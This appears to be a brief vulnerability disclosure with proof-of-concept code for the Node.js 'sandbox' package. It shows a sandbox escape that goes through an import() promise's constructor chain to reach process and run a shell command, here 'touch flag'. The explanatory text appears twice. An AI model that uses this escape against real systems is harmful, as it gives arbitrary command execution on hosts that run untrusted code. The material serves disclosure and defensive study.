var Sandbox = require("sandbox")
var code = `
const ret = import('oops!');
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
`
s = new Sandbox()
s.run(code)
Sandbox can be escaped by calling import() function.
Also, we can execute arbitrary shell code using process module.
Sandbox can be escaped by calling
import()
function. Also, we can execute arbitrary shell code using process module.